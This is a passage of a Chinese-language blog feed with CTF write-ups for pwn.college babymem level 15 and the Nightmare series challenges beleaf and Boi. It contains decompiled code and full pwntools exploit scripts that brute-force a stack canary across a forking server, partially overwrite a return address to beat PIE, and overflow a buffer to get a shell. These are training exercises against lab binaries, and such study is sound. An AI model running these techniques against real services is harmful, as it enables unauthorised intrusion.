  *(_DWORD *)&amp;amp;addr.sa_data[2] = 0;
  *(_WORD *)addr.sa_data = htons(0x539u);
  bind(fd, &amp;amp;addr, 0x10u);
  listen(fd, 1);
  while ( 1 )
  {
    v7 = accept(fd, 0LL, 0LL);
    if ( !fork() )
      break;
    close(v7);
    wait(0LL);
  }
  dup2(v7, 0);
  dup2(v7, 1);
  dup2(v7, 2);
  close(fd);
  close(v7);
  challenge((unsigned int)argc, argv, envp);
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;观察这个 &lt;code&gt;main&lt;/code&gt; 函数我们可知，它所做的大致就是持续监听 &lt;code&gt;1337&lt;/code&gt; 端口，连上了就创建一个子进程执行 &lt;code&gt;challenge&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-C0h] BYREF
  int v7; // [rsp+1Ch] [rbp-A4h]
  int v8; // [rsp+2Ch] [rbp-94h]
  size_t nbytes; // [rsp+30h] [rbp-90h] BYREF
  void *buf; // [rsp+38h] [rbp-88h]
  _QWORD v11[13]; // [rsp+40h] [rbp-80h] BYREF
  __int16 v12; // [rsp+A8h] [rbp-18h]
  unsigned __int64 v13; // [rsp+B8h] [rbp-8h]
  __int64 savedregs; // [rsp+C0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+C8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  v13 = __readfsqword(0x28u);
  memset(v11, 0, sizeof(v11));
  v12 = 0;
  buf = v11;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 106);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is no \&quot;win\&quot; variable.&quot;);
  puts(&quot;You will need to force the program to execute the win_authed() function&quot;);
  puts(&quot;by directly overflowing into the stored return address back to main,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_DWORD)buf + 8,
    106);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_DWORD)buf - 106);
  puts(&quot;and 8 that will overwrite the return address).\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts(&quot;While canaries are enabled, this networked program forks.&quot;);
  puts(&quot;What is important to note is that the canary does not get re-randomized on fork.\n&quot;);
  puts(&quot;When data that you are overflowing into is critical (i.e., if you screw it up&quot;);
  puts(&quot;the program crashes), but also static across executions, you can brute-force&quot;);
  puts(&quot;it byte by byte over many attempts.\n&quot;);
  puts(&quot;So, let&apos;s brute-force the canary!&quot;);
  puts(&quot;If this is your first time running this program, all you know so far is that&quot;);
  puts(&quot;the canary has a 0 as its left-most byte.&quot;);
  puts(&quot;You should proceed like this:\n&quot;);
  puts(&quot;- First, you should try overflowing just the null byte of the canary, for&quot;);
  printf(&quot;  practice. The canary starts at %p, which is %d bytes after the\n&quot;, (const void *)cp_, cp_ - (_DWORD)buf);
  printf(&quot;  start of your buffer. Thus, you should provide %d characters followed\n&quot;, cp_ - (_DWORD)buf);
  puts(&quot;  by a NULL byte, make sure the canary check passes, then try a non-NULL&quot;);
  puts(&quot;  byte and make sure the canary check fails. This will confirm the offsets.&quot;);
  puts(&quot;- Next try each possible value for just the next byte. One of them (the same&quot;);
  puts(&quot;  as whatever was there in memory already) will keep the canary intact, and&quot;);
  puts(&quot;  when the canary check succeeds, you know you have found the correct one.&quot;);
  puts(&quot;- Go on to the next byte, leak it the same way, and so on, until you have&quot;);
  puts(&quot;  the whole canary.\n&quot;);
  puts(&quot;You will likely want to script this process! Each byte might take up to 256&quot;);
  puts(&quot;tries to guess..\n&quot;);
  puts(&quot;Because the binary is position independent, you cannot know&quot;);
  puts(&quot;exactly where the win_authed() function is located.&quot;);
  puts(&quot;This means that it is not clear what should be written into the return address.\n&quot;);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 106);
  printf(&quot;Of these, you will overwrite %d bytes into the return address.\n&quot;, nbytes + (_DWORD)buf - rp_);
  puts(&quot;If that number is greater than 8, you will overwrite the entire return address.\n&quot;);
  puts(&quot;Overwriting the entire return address is fine when we know&quot;);
  puts(&quot;the whole address, but here, we only really know the last three nibbles.&quot;);
  puts(&quot;These nibbles never change, because pages are aligned to 0x1000.&quot;);
  puts(&quot;This gives us a workaround: we can overwrite the least significant byte&quot;);
  puts(&quot;of the saved return address, which we can know from debugging the binary,&quot;);
  puts(&quot;to retarget the return to main to any instruction that shares the other 7 bytes.&quot;);
  puts(&quot;Since that last byte will be constant between executions (due to page alignment),&quot;);
  puts(&quot;this will always work.&quot;);
  puts(&quot;If the address we want to redirect execution to is a bit farther away from&quot;);
  puts(&quot;the saved return address, and we need to write two bytes, then one of those&quot;);
  puts(&quot;nibbles (the fourth least-significant one) will be a guess, and it will be&quot;);
  puts(&quot;incorrect 15 of 16 times.&quot;);
  puts(&quot;This is okay: we can just run our exploit a few times until it works&quot;);
  puts(&quot;(statistically, ~50% chance after 11 times and ~90% chance after 36 times).&quot;);
  puts(&quot;One caveat in this challenge is that the win_authed() function must first auth:&quot;);
  puts(&quot;it only lets you win if you provide it with the argument 0x1337.&quot;);
  puts(&quot;Speifically, the win_authed() function looks something like:&quot;);
  puts(&quot;    void win_authed(int token)&quot;);
  puts(&quot;    {&quot;);
  puts(&quot;      if (token != 0x1337) return;&quot;);
  puts(&quot;      puts(\&quot;You win! Here is your flag: \&quot;);&quot;);
  puts(&quot;      sendfile(1, open(\&quot;/flag\&quot;, 0), 0, 256);&quot;);
  puts(&quot;      puts(\&quot;\&quot;);&quot;);
  puts(&quot;    }&quot;);
  puts(byte_43BB);
  puts(&quot;So how do you pass the check? There *is* a way, and we will cover it later,&quot;);
  puts(&quot;but for now, we will simply bypass it! You can overwrite the return address&quot;);
  puts(&quot;with *any* value (as long as it points to executable code), not just the start&quot;);
  puts(&quot;of functions. Let&apos;s overwrite past the token check in win!\n&quot;);
  puts(&quot;To do this, we will need to analyze the program with objdump, identify where&quot;);
  puts(&quot;the check is in the win_authed() function, find the address right after the check,&quot;);
  puts(&quot;and write that address over the saved return address.\n&quot;);
  puts(&quot;Go ahead and find this address now. When you&apos;re ready, input a buffer overflow&quot;);
  printf(
    &quot;that will overwrite the saved return address (at %p, %d bytes into the buffer)\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  puts(&quot;with the correct value.\n&quot;);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v8 = read(0, buf, nbytes);
  if ( v8 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v8);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  printf(&quot;- the address of win_authed() is %p.\n&quot;, win_authed);
  putchar(10);
  puts(&quot;If you have managed to overwrite the return address with the correct value,&quot;);
  puts(&quot;challenge() will jump straight to win_authed() when it returns.&quot;);
  printf(&quot;Let&apos;s try it now!\n\n&quot;);
  if ( (unsigned __int64)buf + v8 &amp;gt; rp_ + 2 )
  {
    puts(&quot;WARNING: You sent in too much data, and overwrote more than two bytes of the address.&quot;);
    puts(&quot;         This can still work, because I told you the correct address to use for&quot;);
    puts(&quot;         this execution, but you should not rely on that information.&quot;);
    puts(&quot;         You can solve this challenge by only overwriting two bytes!&quot;);
    puts(&quot;         &quot;);
  }
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 &lt;code&gt;challenge&lt;/code&gt; 也没啥好说的，存在一个栈溢出。&lt;/p&gt;
&lt;p&gt;因为我们的子进程都是由主进程生成的，所以每个子进程都会持有和主进程相同的 canary 值。利用这点加上栈溢出漏洞，我们可以爆破 canary。这是个 64-bits 程序，我们实际只要爆破 56-bits，所以爆破时间不会很长。&lt;/p&gt;
&lt;p&gt;把 canary 爆出来后，就可以去快乐的覆盖返回地址了。因为有 PIE 保护，所以我们还得猜倒数第四个 nibble，不过我相信这对你来说也是一件很轻松的事情～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

import os
import subprocess
import time

import psutil
from pwn import ELF, context, gdb, log, pause, process, random, remote, sleep

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-15-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
set follow-fork-mode child
b *challenge+1807
c
&quot;&quot;&quot;


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def get_forked_pid(parent_pid):
    parent = psutil.Process(parent_pid)
    children = parent.children()

    log.success(f&quot;Parent process: {parent_pid} -&amp;gt; Found children: {children}&quot;)
    if len(children) != 1:
        raise Exception(f&quot;Expected 1 child process, found {len(children)}&quot;)
    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                with open(os.devnull, &quot;w&quot;) as fnull:
                    subprocess.Popen(
                        [context.terminal[0], &quot;-e&quot;, &quot;nc&quot;, &quot;localhost&quot;, &quot;1337&quot;],
                        stderr=fnull,
                    )
                    sleep(3)

                child_pid = get_forked_pid(target.pid)
                gdb.attach(target=child_pid, gdbscript=gdbscript)

                return remote(HOST, PORT)
            else:
                target.close()

                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_canary = b&quot;&quot;.ljust(0x78, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = b&quot;\x6b&quot;
possible_bytes = [bytes([i]) for i in range(0xD, 0x10D, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def brute_force_canary():
    canary = b&quot;\x00&quot;
    start_time = time.time()

    log.progress(&quot;Brute-forcing the canary...&quot;)

    while len(canary) &amp;lt; 0x8:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                send_payload(target, padding_to_canary + canary + bytes([byte]))

                response = target.recvall(timeout=5)

                if b&quot;*** stack smashing detected ***&quot; not in response:
                    canary += bytes([byte])
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f&quot;Canary brute-forced: {to_hex_bytes(canary)} in {elapsed_time:.2f} seconds&quot;
    )
    sleep(1)

    return canary


def construct_payload(canary):
    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(payload):
    try:
        with remote(HOST, PORT) as target:
            send_payload(target, payload)

            response = target.recvall(timeout=5)

            return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    launch()
    canary = brute_force_canary()

    while True:
        try:
            payload = construct_payload(canary)

            if attack(payload):
                log.success(&quot;Success! Exiting...&quot;)

                pause()
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main loop: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{MiU_dCA8jccj_TYZgFn1iejPdTj.01NxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 15.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;不用讲吧，思路见上题。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

import os
import subprocess
import time

import psutil
from pwn import ELF, context, gdb, log, pause, process, random, remote, sleep

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-15-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
set follow-fork-mode child
b *challenge+213
c
&quot;&quot;&quot;


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def get_forked_pid(parent_pid):
    parent = psutil.Process(parent_pid)
    children = parent.children()

    log.success(f&quot;Parent process: {parent_pid} -&amp;gt; Found children: {children}&quot;)
    if len(children) != 1:
        raise Exception(f&quot;Expected 1 child process, found {len(children)}&quot;)
    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                with open(os.devnull, &quot;w&quot;) as fnull:
                    subprocess.Popen(
                        [context.terminal[0], &quot;-e&quot;, &quot;nc&quot;, &quot;localhost&quot;, &quot;1337&quot;],
                        stderr=fnull,
                    )
                    sleep(3)

                child_pid = get_forked_pid(target.pid)
                gdb.attach(target=child_pid, gdbscript=gdbscript)

                return remote(HOST, PORT)
            else:
                target.close()

                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_canary = b&quot;&quot;.ljust(0x48, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = b&quot;\xcd&quot;
possible_bytes = [bytes([i]) for i in range(0x5, 0x105, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def brute_force_canary():
    canary = b&quot;\x00&quot;
    start_time = time.time()

    while len(canary) &amp;lt; 0x8:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                log.progress(&quot;Brute-forcing the canary...&quot;)
                send_payload(target, padding_to_canary + canary + bytes([byte]))

                response = target.recvall(timeout=5)

                if b&quot;*** stack smashing detected ***&quot; not in response:
                    canary += bytes([byte])
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f&quot;Canary brute-forced: {to_hex_bytes(canary)} in {elapsed_time:.2f} seconds&quot;
    )
    sleep(1)

    return canary


def construct_payload(canary):
    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(payload):
    try:
        with remote(HOST, PORT) as target:
            send_payload(target, payload)

            response = target.recvall(timeout=5)

            return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    launch()
    canary = brute_force_canary()

    while True:
        try:
            payload = construct_payload(canary)

            if attack(payload):
                log.success(&quot;Success! Exiting...&quot;)

                pause()
                exit()
        except Exception as e:
            log.exception(f&quot;An error occurred in main loop: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{8C2ZHb8LE-O7bRe0DvQeo4_5XUV.0FOxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;pwn.college&lt;/code&gt; 的题目质量没得说，我感觉很棒。打完这 30 题一共花了我 18 天，感觉挺慢的，但算了一下天数好像也没花太久吧哈哈哈。那么，下一站，&lt;strong&gt;Shellcode Injection&lt;/strong&gt;！&lt;/p&gt;
&lt;p&gt;马上就放寒假了，不知道我能在下次开学前达到什么水平呢 &lt;em&gt;&amp;gt;w&amp;lt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;让我们拭目以待。&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;唉，寒假还得准备英语等级考试，爷的时间啊！:sob:&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;话说，如果你不写后记，你一定不知道写后记有多爽 bushi&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;~&lt;strong&gt;&lt;em&gt;Alr, right now, let&apos;s sleep!&lt;/em&gt;&lt;/strong&gt;~ &lt;strong&gt;&lt;em&gt;Let&apos;s liberate~&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Nightmare series</title><link>https://cubeyond.net/posts/write-ups/nightmare-series/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/nightmare-series/</guid><description>Write-ups for Nightmare binary exploitation series.</description><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CSAW 2019 beleaf&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Reverse&lt;/li&gt;
&lt;li&gt;Points: 50&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;tree sounds are best listened to by &lt;a href=&quot;https://binary.ninja/demo&quot;&gt;https://binary.ninja/demo&lt;/a&gt; or ghidra&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;简单运行一下程序：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./beleaf
Enter the flag
&amp;gt;&amp;gt;&amp;gt; i dont have the fucking flag
Incorrect!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一些基本信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file beleaf
beleaf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6d305eed7c9bebbaa60b67403a6c6f2b36de3ca4, stripped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大概可以推测出我们的目标就是弄到一个正确的 &lt;code&gt;flag&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;丢到 IDA 里发现，输入长度小于等于 32 (0x20) 会输出 &lt;code&gt;Incorrect!&lt;/code&gt;，所以 &lt;code&gt;flag&lt;/code&gt; 长度起码 33 字节。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70amwgdgyr.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来进入一个简单的 for 循环，将我们输入的每一个字符逐一放到 &lt;code&gt;calc_idx&lt;/code&gt; 函数中，并将返回值与 &lt;code&gt;valid_arr[i]&lt;/code&gt; 比较，如果不等于 &lt;code&gt;valid_arr[i]&lt;/code&gt; 则输出 &lt;code&gt;Incorrect!&lt;/code&gt;。如果所有字符都通过了验证，则输出 &lt;code&gt;Correct!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再看看 &lt;code&gt;calc_idx&lt;/code&gt; 函数，大致可以看出它的作用是根据传入的字符查找它在 &lt;code&gt;charset&lt;/code&gt; 中对应的索引。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axgpltfnz.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;calc_idx&lt;/code&gt; 的核心如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;character == charset[i]&lt;/code&gt; 则返回索引 &lt;code&gt;i&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;character &amp;gt;= charset[i]&lt;/code&gt; 则设置索引为 &lt;code&gt;i = 2 * (i + 1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;否则设置索引为 &lt;code&gt;i = 2 * i + 1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此我们构造 &lt;code&gt;flag&lt;/code&gt; 的关键条件就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;flag&lt;/code&gt; 长度 &amp;gt;= 33&lt;/li&gt;
&lt;li&gt;&lt;code&gt;calc_idx(input[i]) == valid_arr[i]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

import sys

valid_arr = [
    0x01, 0x09, 0x11, 0x27, 0x02,
    0x00, 0x12, 0x03, 0x08, 0x12,
    0x09, 0x12, 0x11, 0x01, 0x03,
    0x13, 0x04, 0x03, 0x05, 0x15,
    0x2E, 0x0A, 0x03, 0x0A, 0x12,
    0x03, 0x01, 0x2E, 0x16, 0x2E,
    0x0A, 0x12, 0x06
]

charset = [
    0x00000077, 0x00000066, 0x0000007B, 0x0000005F, 0x0000006E,
    0x00000079, 0x0000007D, 0xFFFFFFFF, 0x00000062, 0x0000006C,
    0x00000072, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0x00000061, 0x00000065, 0x00000069,
    0xFFFFFFFF, 0x0000006F, 0x00000074, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x00000067,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0x00000075
]

def create_charset():
    result = &apos;&apos;

    for c in charset:
        try:
            result += chr(c)
        except OverflowError:
            continue

    return result

def checker(char):
    i = 0
    while char != charset[i]:
        if char &amp;gt;= charset[i]:
            i = 2 * (i + 1)
        else:
            i = 2 * i + 1
    return i

def main():
    charset = create_charset()

    i = 0
    while (i &amp;lt; 33):
        for c in charset:
            if checker(ord(c)) == valid_arr[i]:
                sys.stdout.write(c)
        i += 1

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;flag{we_beleaf_in_your_re_future}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;CSAW 2018 Quals Boi&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 25&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Only big boi pwners will get this one!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file boi
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
λ ~/ pwn checksec boi
[*] &apos;/home/cub3y0nd/boi&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试运行一下，发现它只是输出系统时间：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ ./boi
Are you a big boiiiii??
aaaa
Thu Jul 25 05:35:00 PM CST 2024
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102grq5d0o.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从 IDA 里面可以看出，程序可以将一个 24 (0x18) 字节 数据读入 &lt;code&gt;buf&lt;/code&gt; 中。如果 &lt;code&gt;v5&lt;/code&gt; 的 HIDWORD（高位四字节）等于 &lt;code&gt;0xCAF3BAEE&lt;/code&gt; 则返回 shell，否则返回系统时间。&lt;/p&gt;
&lt;p&gt;所以我们的思路就是溢出，然后覆盖原始数据。&lt;/p&gt;
&lt;p&gt;下面是两种得到溢出点的方法：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;由于 &lt;code&gt;buf&lt;/code&gt; 只有 16 字节大小（2 * __int64），而 &lt;code&gt;read&lt;/code&gt; 却可以读取 24 字节数据，所以这里存在栈溢出漏洞，可以覆盖变量 &lt;code&gt;v5&lt;/code&gt; 的内容。所以 payload 可以是 16（填满 buf） + 4（填满 4 字节低位使后面的数据可以直接覆盖高位数据，也就是做判断的部分） 字节垃圾数据 + &lt;code&gt;0xCAF3BAEE&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;通过调试知道溢出点是 20 (0x14)：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2vf1kcicff.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import *

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;, terminal=&apos;kitty&apos;)

target = process(&apos;./boi&apos;)

payload = b&apos;A&apos; * 0x14 + p32(0xcaf3baee)

target.send(payload)
target.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;TAMU 2019 pwn1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: Unknow&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Unknow&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ file boi
